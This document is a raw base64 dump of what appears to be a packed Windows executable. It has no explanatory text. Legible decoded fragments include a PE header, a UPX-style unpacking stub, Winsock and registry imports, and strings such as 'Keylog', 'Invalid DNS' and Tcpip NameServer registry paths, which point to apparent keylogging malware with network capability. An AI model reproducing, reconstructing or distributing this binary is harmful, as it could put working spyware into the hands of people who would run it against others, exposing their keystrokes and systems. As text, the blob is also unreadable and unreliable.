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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAABAAAAWAAAgBgAAIAAAAAAAAAAAAAAAAAAAAEAbgAAADAAAIAAAAAAAAAA AAAAAAAAAAEAGQQAAEgAAABwEAEAABYAAAAAAAAAAAAABABLAEQATABMAAAAAAAAAAAAAAAAAAAA DFEBANxQAQAAAAAAAAAAAAAAAAAZUQEA7FABAAAAAAAAAAAAAAAAACZRAQD0UAEAAAAAAAAAAAAA AAAAMVEBAPxQAQAAAAAAAAAAAAAAAAA8UQEABFEBAAAAAAAAAAAAAAAAAAAAAAAAAAAASFEBAFZR AQBmUQEAAAAAAHRRAQAAAAAAglEBAAAAAACIUQEAAAAAAA8AAIAAAAAAS0VSTkVMMzIuRExMAEFE VkFQSTMyLmRsbABNU1ZDUlQuZGxsAFVTRVIzMi5kbGwAV1NPQ0szMi5kbGwAAABMb2FkTGlicmFy eUEAAEdldFByb2NBZGRyZXNzAABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAAcmFuZAAAU2V0 VGltZXIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 